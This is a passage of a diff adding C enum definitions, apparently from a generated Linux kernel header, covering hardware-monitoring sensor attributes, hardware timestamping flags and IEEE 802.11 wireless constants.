7, + hwmon_in_highest = 8, + hwmon_in_reset_history = 9, + hwmon_in_label = 10, + hwmon_in_alarm = 11, + hwmon_in_min_alarm = 12, + hwmon_in_max_alarm = 13, + hwmon_in_lcrit_alarm = 14, + hwmon_in_crit_alarm = 15, + hwmon_in_rated_min = 16, + hwmon_in_rated_max = 17, + hwmon_in_beep = 18, + hwmon_in_fault = 19, +}; + +enum hwmon_power_attributes { + hwmon_power_enable = 0, + hwmon_power_average = 1, + hwmon_power_average_interval = 2, + hwmon_power_average_interval_max = 3, + hwmon_power_average_interval_min = 4, + hwmon_power_average_highest = 5, + hwmon_power_average_lowest = 6, + hwmon_power_average_max = 7, + hwmon_power_average_min = 8, + hwmon_power_input = 9, + hwmon_power_input_highest = 10, + hwmon_power_input_lowest = 11, + hwmon_power_reset_history = 12, + hwmon_power_accuracy = 13, + hwmon_power_cap = 14, + hwmon_power_cap_hyst = 15, + hwmon_power_cap_max = 16, + hwmon_power_cap_min = 17, + hwmon_power_min = 18, + hwmon_power_max = 19, + hwmon_power_crit = 20, + hwmon_power_lcrit = 21, + hwmon_power_label = 22, + hwmon_power_alarm = 23, + hwmon_power_cap_alarm = 24, + hwmon_power_min_alarm = 25, + hwmon_power_max_alarm = 26, + hwmon_power_lcrit_alarm = 27, + hwmon_power_crit_alarm = 28, + hwmon_power_rated_min = 29, + hwmon_power_rated_max = 30, +}; + +enum hwmon_sensor_types { + hwmon_chip = 0, + hwmon_temp = 1, + hwmon_in = 2, + hwmon_curr = 3, + hwmon_power = 4, + hwmon_energy = 5, + hwmon_humidity = 6, + hwmon_fan = 7, + hwmon_pwm = 8, + hwmon_intrusion = 9, + hwmon_max = 10, +}; + +enum hwmon_temp_attributes { + hwmon_temp_enable = 0, + hwmon_temp_input = 1, + hwmon_temp_type = 2, + hwmon_temp_lcrit = 3, + hwmon_temp_lcrit_hyst = 4, + hwmon_temp_min = 5, + hwmon_temp_min_hyst = 6, + hwmon_temp_max = 7, + hwmon_temp_max_hyst = 8, + hwmon_temp_crit = 9, + hwmon_temp_crit_hyst = 10, + hwmon_temp_emergency = 11, + hwmon_temp_emergency_hyst = 12, + hwmon_temp_alarm = 13, + hwmon_temp_lcrit_alarm = 14, + hwmon_temp_min_alarm = 15, + hwmon_temp_max_alarm = 16, + hwmon_temp_crit_alarm = 17, + hwmon_temp_emergency_alarm = 18, + hwmon_temp_fault = 19, + hwmon_temp_offset = 20, + hwmon_temp_label = 21, + hwmon_temp_lowest = 22, + hwmon_temp_highest = 23, + hwmon_temp_reset_history = 24, + hwmon_temp_rated_min = 25, + hwmon_temp_rated_max = 26, + hwmon_temp_beep = 27, +}; + +enum hwtstamp_flags { + HWTSTAMP_FLAG_BONDED_PHC_INDEX = 1, + HWTSTAMP_FLAG_LAST = 1, + HWTSTAMP_FLAG_MASK = 1, +}; + +enum hwtstamp_rx_filters { + HWTSTAMP_FILTER_NONE = 0, + HWTSTAMP_FILTER_ALL = 1, + HWTSTAMP_FILTER_SOME = 2, + HWTSTAMP_FILTER_PTP_V1_L4_EVENT = 3, + HWTSTAMP_FILTER_PTP_V1_L4_SYNC = 4, + HWTSTAMP_FILTER_PTP_V1_L4_DELAY_REQ = 5, + HWTSTAMP_FILTER_PTP_V2_L4_EVENT = 6, + HWTSTAMP_FILTER_PTP_V2_L4_SYNC = 7, + HWTSTAMP_FILTER_PTP_V2_L4_DELAY_REQ = 8, + HWTSTAMP_FILTER_PTP_V2_L2_EVENT = 9, + HWTSTAMP_FILTER_PTP_V2_L2_SYNC = 10, + HWTSTAMP_FILTER_PTP_V2_L2_DELAY_REQ = 11, + HWTSTAMP_FILTER_PTP_V2_EVENT = 12, + HWTSTAMP_FILTER_PTP_V2_SYNC = 13, + HWTSTAMP_FILTER_PTP_V2_DELAY_REQ = 14, + HWTSTAMP_FILTER_NTP_ALL = 15, + __HWTSTAMP_FILTER_CNT = 16, +}; + +enum hwtstamp_source { + HWTSTAMP_SOURCE_UNSPEC = 0, + HWTSTAMP_SOURCE_NETDEV = 1, + HWTSTAMP_SOURCE_PHYLIB = 2, +}; + +enum hwtstamp_tx_types { + HWTSTAMP_TX_OFF = 0, + HWTSTAMP_TX_ON = 1, + HWTSTAMP_TX_ONESTEP_SYNC = 2, + HWTSTAMP_TX_ONESTEP_P2P = 3, + __HWTSTAMP_TX_CNT = 4, +}; + +enum hybrid_cpu_type { + HYBRID_INTEL_NONE = 0, + HYBRID_INTEL_ATOM = 32, + HYBRID_INTEL_CORE = 64, +}; + +enum hybrid_pmu_type { + not_hybrid = 0, + hybrid_small = 1, + hybrid_big = 2, + hybrid_big_small = 3, +}; + +enum i2c_alert_protocol { + I2C_PROTOCOL_SMBUS_ALERT = 0, + I2C_PROTOCOL_SMBUS_HOST_NOTIFY = 1, +}; + +enum i2c_driver_flags { + I2C_DRV_ACPI_WAIVE_D0_PROBE = 1, +}; + +enum i8042_controller_reset_mode { + I8042_RESET_NEVER = 0, + I8042_RESET_ALWAYS = 1, + I8042_RESET_ON_S2RAM = 2, +}; + +enum ibs_states { + IBS_ENABLED = 0, + IBS_STARTED = 1, + IBS_STOPPING = 2, + IBS_STOPPED = 3, + IBS_MAX_STATES = 4, +}; + +enum idle_boot_override { + IDLE_NO_OVERRIDE = 0, + IDLE_HALT = 1, + IDLE_NOMWAIT = 2, + IDLE_POLL = 3, +}; + +enum ieee80211_ac_numbers { + IEEE80211_AC_VO = 0, + IEEE80211_AC_VI = 1, + IEEE80211_AC_BE = 2, + IEEE80211_AC_BK = 3, +}; + +enum ieee80211_agg_stop_reason { + AGG_STOP_DECLINED = 0, + AGG_STOP_LOCAL_REQUEST = 1, + AGG_STOP_PEER_REQUEST = 2, + AGG_STOP_DESTROY_STA = 3, +}; + +enum ieee80211_ampdu_mlme_action { + IEEE80211_AMPDU_RX_START = 0, + IEEE80211_AMPDU_RX_STOP = 1, + IEEE80211_AMPDU_TX_START = 2, + IEEE80211_AMPDU_TX_STOP_CONT = 3, + IEEE80211_AMPDU_TX_STOP_FLUSH = 4, + IEEE80211_AMPDU_TX_STOP_FLUSH_CONT = 5, + IEEE80211_AMPDU_TX_OPERATIONAL = 6, +}; + +enum ieee80211_ap_reg_power { + IEEE80211_REG_UNSET_AP = 0, + IEEE80211_REG_LPI_AP = 1, + IEEE80211_REG_SP_AP = 2, + IEEE80211_REG_VLP_AP = 3, +}; + +enum ieee80211_back_actioncode { + WLAN_ACTION_ADDBA_REQ = 0, + WLAN_ACTION_ADDBA_RESP = 1, + WLAN_ACTION_DELBA = 2, +}; + +enum ieee80211_back_parties { + WLAN_BACK_RECIPIENT = 0, + WLAN_BACK_INITIATOR = 1, +}; + +enum ieee80211_bss_change { + BSS_CHANGED_ASSOC = 1ULL, + BSS_CHANGED_ERP_CTS_PROT = 2ULL, + BSS_CHANGED_ERP_PREAMBLE = 4ULL, + BSS_CHANGED_ERP_SLOT = 8ULL, + BSS_CHANGED_HT = 16ULL, + BSS_CHANGED_BASIC_RATES = 32ULL, + BSS_CHANGED_BEACON_INT = 64ULL, + BSS_CHANGED_BSSID = 128ULL, + BSS_CHANGED_BEACON = 256ULL, + BSS_CHANGED_BEACON_ENABLED = 512ULL, + BSS_CHANGED_CQM = 1024ULL, + BSS_CHANGED_IBSS = 2048ULL, + BSS_CHANGED_ARP_FILTER = 4096ULL, + BSS_CHANGED_QOS = 8192ULL, + BSS_CHANGED_IDLE = 16384ULL, + BSS_CHANGED_SSID = 32768ULL, + BSS_CHANGED_AP_PROBE_RESP = 65536ULL, + BSS_CHANGED_PS = 131072ULL, + BSS_CHANGED_TXPOWER = 262144ULL, + BSS_CHANGED_P2P_PS = 524288ULL, + BSS_CHANGED_BEACON_INFO = 1048576ULL, + BSS_CHANGED_BANDWIDTH = 2097152ULL, + BSS_CHANGED_OCB = 4194304ULL, + BSS_CHANGED_MU_GROUPS = 8388608ULL, + BSS_CHANGED_KEEP_ALIVE = 16777216ULL, + BSS_CHANGED_MCAST_RATE = 33554432ULL, + BSS_CHANGED_FTM_RESPONDER = 67108864ULL, + BSS_CHANGED_TWT = 134217728ULL, + BSS_CHANGED_HE_OBSS_PD = 268435456ULL, + BSS_CHANGED_HE_BSS_COLOR = 536870912ULL, + BSS_CHANGED_FILS_DISCOVERY = 1073741824ULL, + BSS_CHANGED_UNSOL_BCAST_PROBE_RESP = 2147483648ULL, + BSS_CHANGED_MLD_VALID_LINKS = 8589934592ULL, + BSS_CHANGED_MLD_TTLM = 17179869184ULL, + BSS_CHANGED_TPE = 34359738368ULL, +}; + +enum ieee80211_bss_corrupt_data_flags { + IEEE80211_BSS_CORRUPT_BEACON = 1, + IEEE80211_BSS_CORRUPT_PROBE_RESP = 2, +}; + +enum ieee80211_bss_type { + IEEE80211_BSS_TYPE_ESS = 0, + IEEE80211_BSS_TYPE_PBSS = 1, + IEEE80211_BSS_TYPE_IBSS = 2, + IEEE80211_BSS_TYPE_MBSS = 3, + IEEE80211_BSS_TYPE_ANY = 4, +}; + +enum ieee80211_bss_valid_data_flags { + IEEE80211_BSS_VALID_WMM = 2, + IEEE80211_BSS_VALID_RATES = 4, + IEEE80211_BSS_VALID_ERP = 8, +}; + +enum ieee80211_category { + WLAN_CATEGORY_SPECTRUM_MGMT = 0, + WLAN_CATEGORY_QOS = 1, + WLAN_CATEGORY_DLS = 2, + WLAN_CATEGORY_BACK = 3, + WLAN_CATEGORY_PUBLIC = 4, + WLAN_CATEGORY_RADIO_MEASUREMENT = 5, + WLAN_CATEGORY_FAST_BBS_TRANSITION = 6, + WLAN_CATEGORY_HT = 7, + WLAN_CATEGORY_SA_QUERY = 8, + WLAN_CATEGORY_PROTECTED_DUAL_OF_ACTION = 9, + WLAN_CATEGORY_WNM = 10, + WLAN_CATEGORY_WNM_UNPROTECTED = 11, + WLAN_CATEGORY_TDLS = 12, + WLAN_CATEGORY_MESH_ACTION = 13, + WLAN_CATEGORY_MULTIHOP_ACTION = 14, + WLAN_CATEGORY_SELF_PROTECTED = 15, + WLAN_CATEGORY_DMG = 16, + WLAN_CATEGORY_WMM = 17, + WLAN_CATEGORY_FST = 18, + WLAN_CATEGORY_UNPROT_DMG = 20, + WLAN_CATEGORY_VHT = 21, + WLAN_CATEGORY_S1G = 22, + WLAN_CATEGORY_PROTECTED_EHT = 37, + WLAN_CATEGORY_VENDOR_SPECIFIC_PROTECTED = 126, + WLAN_CATEGORY_VENDOR_SPECIFIC = 127, +}; + +enum ieee80211_chanctx_change { + IEEE80211_CHANCTX_CHANGE_WIDTH = 1, + IEEE80211_CHANCTX_CHANGE_RX_CHAINS = 2, + IEEE80211_CHANCTX_CHANGE_RADAR = 4, + IEEE80211_CHANCTX_CHANGE_CHANNEL = 8, + IEEE80211_CHANCTX_CHANGE_MIN_WIDTH = 16, + IEEE80211_CHANCTX_CHANGE_AP = 32, + IEEE80211_CHANCTX_CHANGE_PUNCTURING = 64, +}; + +enum ieee80211_chanctx_mode { + IEEE80211_CHANCTX_SHARED = 0, + IEEE80211_CHANCTX_EXCLUSIVE = 1, +}; + +enum ieee80211_chanctx_replace_state { + IEEE80211_CHANCTX_REPLACE_NONE = 0, + IEEE80211_CHANCTX_WILL_BE_REPLACED = 1, + IEEE80211_CHANCTX_REPLACES_OTHER = 2, +}; + +enum ieee80211_chanctx_switch_mode { + CHANCTX_SWMODE_REASSIGN_VIF = 0, + CHANCTX_SWMODE_SWAP_CONTEXTS = 1, +}; + +enum ieee80211_channel_flags { + IEEE80211_CHAN_DISABLED = 1, + IEEE80211_CHAN_NO_IR = 2, + IEEE80211_CHAN_PSD = 4, + IEEE80211_CHAN_RADAR = 8, + IEEE80211_CHAN_NO_HT40PLUS = 16, + IEEE80211_CHAN_NO_HT40MINUS = 32, + IEEE80211_CHAN_NO_OFDM = 64, + IEEE80211_CHAN_NO_80MHZ = 128, + IEEE80211_CHAN_NO_160MHZ = 256, + IEEE80211_CHAN_INDOOR_ONLY = 512, + IEEE80211_CHAN_IR_CONCURRENT = 1024, + IEEE80211_CHAN_NO_20MHZ = 2048, + IEEE80211_CHAN_NO_10MHZ = 4096, + IEEE80211_CHAN_NO_HE = 8192, + IEEE80211_CHAN_1MHZ = 16384, + IEEE80211_CHAN_2MHZ = 32768, + IEEE80211_CHAN_4MHZ = 65536, + IEEE80211_CHAN_8MHZ = 131072, + IEEE80211_CHAN_16MHZ = 262144, + IEEE80211_CHAN_NO_320MHZ = 524288, + IEEE80211_CHAN_NO_EHT = 1048576, + IEEE80211_CHAN_DFS_CONCURRENT = 2097152, + IEEE80211_CHAN_NO_6GHZ_VLP_CLIENT = 4194304, + IEEE80211_CHAN_NO_6GHZ_AFC_CLIENT = 8388608, + IEEE80211_CHAN_CAN_MONITOR = 16777216, + IEEE80211_CHAN_ALLOW_6GHZ_VLP_AP = 33554432, +}; + +enum ieee80211_conf_changed { + IEEE80211_CONF_CHANGE_SMPS = 2, + IEEE80211_CONF_CHANGE_LISTEN_INTERVAL = 4, + IEEE80211_CONF_CHANGE_MONITOR = 8, + IEEE80211_CONF_CHANGE_PS = 16, + IEEE80211_CONF_CHANGE_POWER = 32, + IEEE80211_CONF_CHANGE_CHANNEL = 64, + IEEE80211_CONF_CHANGE_RETRY_LIMITS = 128, + IEEE80211_CONF_CHANGE_IDLE = 256, +}; + +enum ieee80211_conf_flags { + IEEE80211_CONF_MONITOR = 1, + IEEE80211_CONF_PS = 2, + IEEE80211_CONF_IDLE = 4, + IEEE80211_CONF_OFFCHANNEL = 8, +}; + +enum ieee80211_conn_bw_limit { + IEEE80211_CONN_BW_LIMIT_20 = 0, + IEEE80211_CONN_BW_LIMIT_40 = 1, + IEEE80211_CONN_BW_LIMIT_80 = 2, + IEEE80211_CONN_BW_LIMIT_160 = 3, + IEEE80211_CONN_BW_LIMIT_320 = 4, +}; + +enum ieee80211_conn_mode { + IEEE80211_CONN_MODE_S1G = 0, + IEEE80211_CONN_MODE_LEGACY = 1, + IEEE80211_CONN_MODE_HT = 2, + IEEE80211_CONN_MODE_VHT = 3, + IEEE80211_CONN_MODE_HE = 4, + IEEE80211_CONN_MODE_EHT = 5, +}; + +enum ieee80211_csa_source { + IEEE80211_CSA_SOURCE_BEACON = 0, + IEEE80211_CSA_SOURCE_OTHER_LINK = 1, + IEEE80211_CSA_SOURCE_PROT_ACTION = 2, + IEEE80211_CSA_SOURCE_UNPROT_ACTION = 3, +}; + +enum ieee80211_edmg_bw_config { + IEEE80211_EDMG_BW_CONFIG_4 = 4, + IEEE80211_EDMG_BW_CONFIG_5 = 5, + IEEE80211_EDMG_BW_CONFIG_6 = 6, + IEEE80211_EDMG_BW_CONFIG_7 = 7, + IEEE80211_EDMG_BW_CONFIG_8 = 8, + IEEE80211_EDMG_BW_CONFIG_9 = 9, + IEEE80211_EDMG_BW_CONFIG_10 = 10, + IEEE80211_EDMG_BW_CONFIG_11 = 11, + IEEE80211_EDMG_BW_CONFIG_12 = 12, + IEEE80211_EDMG_BW_CONFIG_13 = 13, + IEEE80211_EDMG_BW_CONFIG_14 = 14, + IEEE80211_EDMG_BW_CONFIG_15 = 15, +}; + +enum ieee80211_eid { + WLAN_EID_SSID = 0, + WLAN_EID_SUPP_RATES = 1, + WLAN_EID_FH_PARAMS = 2, + WLAN_EID_DS_PARAMS = 3, + WLAN_EID_CF_PARAMS = 4, + WLAN_EID_TIM = 5, + WLAN_EID_IBSS_PARAMS = 6, + WLAN_EID_COUNTRY = 7, + WLAN_EID_REQUEST = 10, + WLAN_EID_QBSS_LOAD = 11, + WLAN_EID_EDCA_PARAM_SET = 12, + WLAN_EID_TSPEC = 13, + WLAN_EID_TCLAS = 14, + WLAN_EID_SCHEDULE = 15, + WLAN_EID_CHALLENGE = 16, + WLAN_EID_PWR_CONSTRAINT = 32, + WLAN_EID_PWR_CAPABILITY = 33, + WLAN_EID_TPC_REQUEST = 34, + WLAN_EID_TPC_REPORT = 35, + WLAN_EID_SUPPORTED_CHANNELS = 36, + WLAN_EID_CHANNEL_SWITCH = 37, + WLAN_EID_MEASURE_REQUEST = 38, + WLAN_EID_MEASURE_REPORT = 39, + WLAN_EID_QUIET = 40, + WLAN_EID_IBSS_DFS = 41, + WLAN_EID_ERP_INFO = 42, + WLAN_EID_TS_DELAY = 43, + WLAN_EID_TCLAS_PROCESSING = 44, + WLAN_EID_HT_CAPABILITY = 45, + WLAN_EID_QOS_CAPA = 46, + WLAN_EID_RSN = 48, + WLAN_EID_802_15_COEX = 49, + WLAN_EID_EXT_SUPP_RATES = 50, + WLAN_EID_AP_CHAN_REPORT = 51, + WLAN_EID_NEIGHBOR_REPORT = 52, + WLAN_EID_RCPI = 53, + WLAN_EID_MOBILITY_DOMAIN = 54, + WLAN_EID_FAST_BSS_TRANSITION = 55, + WLAN_EID_TIMEOUT_INTERVAL = 56, + WLAN_EID_RIC_DATA = 57, + WLAN_EID_DSE_REGISTERED_LOCATION = 58, + WLAN_EID_SUPPORTED_REGULATORY_CLASSES = 59, + WLAN_EID_EXT_CHANSWITCH_ANN = 60, + WLAN_EID_HT_OPERATION = 61, + WLAN_EID_SECONDARY_CHANNEL_OFFSET = 62, + WLAN_EID_BSS_AVG_ACCESS_DELAY = 63, + WLAN_EID_ANTENNA_INFO = 64, + WLAN_EID_RSNI = 65, + WLAN_EID_MEASUREMENT_PILOT_TX_INFO = 66, + WLAN_EID_BSS_AVAILABLE_CAPACITY = 67, + WLAN_EID_BSS_AC_ACCESS_DELAY = 68, + WLAN_EID_TIME_ADVERTISEMENT = 69, + WLAN_EID_RRM_ENABLED_CAPABILITIES = 70, + WLAN_EID_MULTIPLE_BSSID = 71, + WLAN_EID_BSS_COEX_2040 = 72, + WLAN_EID_BSS_INTOLERANT_CHL_REPORT = 73, + WLAN_EID_OVERLAP_BSS_SCAN_PARAM = 74, + WLAN_EID_RIC_DESCRIPTOR = 75, + WLAN_EID_MMIE = 76, + WLAN_EID_ASSOC_COMEBACK_TIME = 77, + WLAN_EID_EVENT_REQUEST = 78, + WLAN_EID_EVENT_REPORT = 79, + WLAN_EID_DIAGNOSTIC_REQUEST = 80, + WLAN_EID_DIAGNOSTIC_REPORT = 81, + WLAN_EID_LOCATION_PARAMS = 82, + WLAN_EID_NON_TX_BSSID_CAP = 83, + WLAN_EID_SSID_LIST = 84, + WLAN_EID_MULTI_BSSID_IDX = 85, + WLAN_EID_FMS_DESCRIPTOR = 86, + WLAN_EID_FMS_REQUEST = 87, + WLAN_EID_FMS_RESPONSE = 88, + WLAN_EID_QOS_TRAFFIC_CAPA = 89, + WLAN_EID_BSS_MAX_IDLE_PERIOD = 90, + WLAN_EID_TSF_REQUEST = 91, + WLAN_EID_TSF_RESPOSNE = 92, + WLAN_EID_WNM_SLEEP_MODE = 93, + WLAN_EID_TIM_BCAST_REQ = 94, + WLAN_EID_TIM_BCAST_RESP = 95, + WLAN_EID_COLL_IF_REPORT = 96, + WLAN_EID_CHANNEL_USAGE = 97, + WLAN_EID_TIME_ZONE = 98, + WLAN_EID_DMS_REQUEST = 99, + WLAN_EID_DMS_RESPONSE = 100, + WLAN_EID_LINK_ID = 101, + WLAN_EID_WAKEUP_SCHEDUL = 102, + WLAN_EID_CHAN_SWITCH_TIMING = 104, + WLAN_EID_PTI_CONTROL = 105, + WLAN_EID_PU_BUFFER_STATUS = 106, + WLAN_EID_INTERWORKING = 107, + WLAN_EID_ADVERTISEMENT_PROTOCOL = 108, + WLAN_EID_EXPEDITED_BW_REQ = 109, + WLAN_EID_QOS_MAP_SET = 110, + WLAN_EID_ROAMING_CONSORTIUM = 111, + WLAN_EID_EMERGENCY_ALERT = 112, + WLAN_EID_MESH_CONFIG = 113, + WLAN_EID_MESH_ID = 114, + WLAN_EID_LINK_METRIC_REPORT = 115, + WLAN_EID_CONGESTION_NOTIFICATION = 116, + WLAN_EID_PEER_MGMT = 117, + WLAN_EID_CHAN_SWITCH_PARAM = 118, + WLAN_EID_MESH_AWAKE_WINDOW = 119, + WLAN_EID_BEACON_TIMING = 120, + WLAN_EID_MCCAOP_SETUP_REQ = 121, + WLAN_EID_MCCAOP_SETUP_RESP = 122, + WLAN_EID_MCCAOP_ADVERT = 123, + WLAN_EID_MCCAOP_TEARDOWN = 124, + WLAN_EID_GANN = 125, + WLAN_EID_RANN = 126, + WLAN_EID_EXT_CAPABILITY = 127, + WLAN_EID_PREQ = 130, + WLAN_EID_PREP = 131, + WLAN_EID_PERR = 132, + WLAN_EID_PXU = 137, + WLAN_EID_PXUC = 138, + WLAN_EID_AUTH_MESH_PEER_EXCH = 139, + WLAN_EID_MIC = 140, + WLAN_EID_DESTINATION_URI = 141, + WLAN_EID_UAPSD_COEX = 142, + WLAN_EID_WAKEUP_SCHEDULE = 143, + WLAN_EID_EXT_SCHEDULE = 144, + WLAN_EID_STA_AVAILABILITY = 145, + WLAN_EID_DMG_TSPEC = 146, + WLAN_EID_DMG_AT = 147, + WLAN_EID_DMG_CAP = 148, + WLAN_EID_CISCO_VENDOR_SPECIFIC = 150, + WLAN_EID_DMG_OPERATION = 151, + WLAN_EID_DMG_BSS_PARAM_CHANGE = 152, + WLAN_EID_DMG_BEAM_REFINEMENT = 153, + WLAN_EID_CHANNEL_MEASURE_FEEDBACK = 154, + WLAN_EID_AWAKE_WINDOW = 157, + WLAN_EID_MULTI_BAND = 158, + WLAN_EID_ADDBA_EXT = 159, + WLAN_EID_NEXT_PCP_LIST = 160, + WLAN_EID_PCP_HANDOVER = 161, + WLAN_EID_DMG_LINK_MARGIN = 162, + WLAN_EID_SWITCHING_STREAM = 163, + WLAN_EID_SESSION_TRANSITION = 164, + WLAN_EID_DYN_TONE_PAIRING_REPORT = 165, + WLAN_EID_CLUSTER_REPORT = 166, + WLAN_EID_RELAY_CAP = 167, + WLAN_EID_RELAY_XFER_PARAM_SET = 168, + WLAN_EID_BEAM_LINK_MAINT = 169, + WLAN_EID_MULTIPLE_MAC_ADDR = 170, + WLAN_EID_U_PID = 171, + WLAN_EID_DMG_LINK_ADAPT_ACK = 172, + WLAN_EID_MCCAOP_ADV_OVERVIEW = 174, + WLAN_EID_QUIET_PERIOD_REQ = 175, + WLAN_EID_QUIET_PERIOD_RESP = 177, + WLAN_EID_EPAC_POLICY = 182, + WLAN_EID_CLISTER_TIME_OFF = 183, + WLAN_EID_INTER_AC_PRIO = 184, + WLAN_EID_SCS_DESCRIPTOR = 185, + WLAN_EID_QLOAD_REPORT = 186, + WLAN_EID_HCCA_TXOP_UPDATE_COUNT = 187, + WLAN_EID_HL_STREAM_ID = 188, + WLAN_EID_GCR_GROUP_ADDR = 189, + WLAN_EID_ANTENNA_SECTOR_ID_PATTERN = 190, + WLAN_EID_VHT_CAPABILITY = 191, + WLAN_EID_VHT_OPERATION = 192, + WLAN_EID_EXTENDED_BSS_LOAD = 193, + WLAN_EID_WIDE_BW_CHANNEL_SWITCH = 194, + WLAN_EID_TX_POWER_ENVELOPE = 195, + WLAN_EID_CHANNEL_SWITCH_WRAPPER = 196, + WLAN_EID_AID = 197, + WLAN_EID_QUIET_CHANNEL = 198, + WLAN_EID_OPMODE_NOTIF = 199, + WLAN_EID_REDUCED_NEIGHBOR_REPORT = 201, + WLAN_EID_AID_REQUEST = 210, + WLAN_EID_AID_RESPONSE = 211, + WLAN_EID_S1G_BCN_COMPAT = 213, + WLAN_EID_S1G_SHORT_BCN_INTERVAL = 214, + WLAN_EID_S1G_TWT = 216, + WLAN_EID_S1G_CAPABILITIES = 217, + WLAN_EID_VENDOR_SPECIFIC = 221, + WLAN_EID_QOS_PARAMETER = 222, + WLAN_EID_S1G_OPERATION = 232, + WLAN_EID_CAG_NUMBER = 237, + WLAN_EID_AP_CSN = 239, + WLAN_EID_FILS_INDICATION = 240, + WLAN_EID_DILS = 241, + WLAN_EID_FRAGMENT = 242, + WLAN_EID_RSNX = 244, + WLAN_EID_EXTENSION = 255, +}; + +enum ieee80211_eid_ext { + WLAN_EID_EXT_ASSOC_DELAY_INFO = 1, + WLAN_EID_EXT_FILS_REQ_PARAMS = 2, + WLAN_EID_EXT_FILS_KEY_CONFIRM = 3, + WLAN_EID_EXT_FILS_SESSION = 4, + WLAN_EID_EXT_FILS_HLP_CONTAINER = 5, + WLAN_EID_EXT_FILS_IP_ADDR_ASSIGN = 6, + WLAN_EID_EXT_KEY_DELIVERY = 7, + WLAN_EID_EXT_FILS_WRAPPED_DATA = 8, + WLAN_EID_EXT_FILS_PUBLIC_KEY = 12, + WLAN_EID_EXT_FILS_NONCE = 13, + WLAN_EID_EXT_FUTURE_CHAN_GUIDANCE = 14, + WLAN_EID_EXT_HE_CAPABILITY = 35, + WLAN_EID_EXT_HE_OPERATION = 36, + WLAN_EID_EXT_UORA = 37, + WLAN_EID_EXT_HE_MU_EDCA = 38, + WLAN_EID_EXT_HE_SPR = 39, + WLAN_EID_EXT_NDP_FEEDBACK_REPORT_PARAMSET = 41, + WLAN_EID_EXT_BSS_COLOR_CHG_ANN = 42, + WLAN_EID_EXT_QUIET_TIME_PERIOD_SETUP = 43, + WLAN_EID_EXT_ESS_REPORT = 45, + WLAN_EID_EXT_OPS = 46, + WLAN_EID_EXT_HE_BSS_LOAD = 47, + WLAN_EID_EXT_MAX_CHANNEL_SWITCH_TIME = 52, + WLAN_EID_EXT_MULTIPLE_BSSID_CONFIGURATION = 55, + WLAN_EID_EXT_NON_INHERITANCE = 56, + WLAN_EID_EXT_KNOWN_BSSID = 57, + WLAN_EID_EXT_SHORT_SSID_LIST = 58, + WLAN_EID_EXT_HE_6GHZ_CAPA = 59, + WLAN_EID_EXT_UL_MU_POWER_CAPA = 60, + WLAN_EID_EXT_EHT_OPERATION = 106, + WLAN_EID_EXT_EHT_MULTI_LINK = 107, + WLAN_EID_EXT_EHT_CAPABILITY = 108, + WLAN_EID_EXT_TID_TO_LINK_MAPPING = 109, + WLAN_EID_EXT_BANDWIDTH_INDICATION = 135, +}; + +enum ieee80211_elems_parse_error { + IEEE80211_PARSE_ERR_INVALID_END = 1, + IEEE80211_PARSE_ERR_DUP_ELEM = 2, + IEEE80211_PARSE_ERR_BAD_ELEM_SIZE = 4, + IEEE80211_PARSE_ERR_UNEXPECTED_ELEM = 8, + IEEE80211_PARSE_ERR_DUP_NEST_ML_BASIC = 16, +}; + +enum ieee80211_encrypt { + ENCRYPT_NO = 0, + ENCRYPT_MGMT = 1, + ENCRYPT_DATA = 2, +}; + +enum ieee80211_event_type { + RSSI_EVENT = 0, + MLME_EVENT = 1, + BAR_RX_EVENT = 2, + BA_FRAME_TIMEOUT = 3, +}; + +enum ieee80211_filter_flags { + FIF_ALLMULTI = 2, + FIF_FCSFAIL = 4, + FIF_PLCPFAIL = 8, + FIF_BCN_PRBRESP_PROMISC = 16, + FIF_CONTROL = 32, + FIF_OTHER_BSS = 64, + FIF_PSPOLL = 128, + FIF_PROBE_REQ = 256, + FIF_MCAST_ACTION = 512, +}; + +enum ieee80211_frame_release_type { + IEEE80211_FRAME_RELEASE_PSPOLL = 0, + IEEE80211_FRAME_RELEASE_UAPSD = 1, +}; + +enum ieee80211_he_mcs_support { + IEEE80211_HE_MCS_SUPPORT_0_7 = 0, + IEEE80211_HE_MCS_SUPPORT_0_9 = 1, + IEEE80211_HE_MCS_SUPPORT_0_11 = 2, + IEEE80211_HE_MCS_NOT_SUPPORTED = 3, +}; + +enum ieee80211_ht_actioncode { + WLAN_HT_ACTION_NOTIFY_CHANWIDTH = 0, + WLAN_HT_ACTION_SMPS = 1, + WLAN_HT_ACTION_PSMP = 2, + WLAN_HT_ACTION_PCO_PHASE = 3, + WLAN_HT_ACTION_CSI = 4, + WLAN_HT_ACTION_NONCOMPRESSED_BF = 5, + WLAN_HT_ACTION_COMPRESSED_BF = 6, + WLAN_HT_ACTION_ASEL_IDX_FEEDBACK = 7, +}; + +enum ieee80211_ht_chanwidth_values { + IEEE80211_HT_CHANWIDTH_20MHZ = 0, + IEEE80211_HT_CHANWIDTH_ANY = 1, +}; + +enum ieee80211_hw_flags { + IEEE80211_HW_HAS_RATE_CONTROL = 0, + IEEE80211_HW_RX_INCLUDES_FCS = 1, + IEEE80211_HW_HOST_BROADCAST_PS_BUFFERING = 2, + IEEE80211_HW_SIGNAL_UNSPEC = 3, + IEEE80211_HW_SIGNAL_DBM = 4, + IEEE80211_HW_NEED_DTIM_BEFORE_ASSOC = 5, + IEEE80211_HW_SPECTRUM_MGMT = 6, + IEEE80211_HW_AMPDU_AGGREGATION = 7, + IEEE80211_HW_SUPPORTS_PS = 8, + IEEE80211_HW_PS_NULLFUNC_STACK = 9, + IEEE80211_HW_SUPPORTS_DYNAMIC_PS = 10, + IEEE80211_HW_MFP_CAPABLE = 11, + IEEE80211_HW_WANT_MONITOR_VIF = 12, + IEEE80211_HW_NO_AUTO_VIF = 13, + IEEE80211_HW_SW_CRYPTO_CONTROL = 14, + IEEE80211_HW_SUPPORT_FAST_XMIT = 15, + IEEE80211_HW_REPORTS_TX_ACK_STATUS = 16, + IEEE80211_HW_CONNECTION_MONITOR = 17, + IEEE80211_HW_QUEUE_CONTROL = 18, + IEEE80211_HW_SUPPORTS_PER_STA_GTK = 19, + IEEE80211_HW_AP_LINK_PS = 20, + IEEE80211_HW_TX_AMPDU_SETUP_IN_HW = 21, + IEEE80211_HW_SUPPORTS_RC_TABLE = 22, + IEEE80211_HW_P2P_DEV_ADDR_FOR_INTF = 23, + IEEE80211_HW_TIMING_BEACON_ONLY = 24, + IEEE80211_HW_SUPPORTS_HT_CCK_RATES = 25, + IEEE80211_HW_CHANCTX_STA_CSA = 26, + IEEE80211_HW_SUPPORTS_CLONED_SKBS = 27, + IEEE80211_HW_SINGLE_SCAN_ON_ALL_BANDS = 28, + IEEE80211_HW_TDLS_WIDER_BW = 29, + 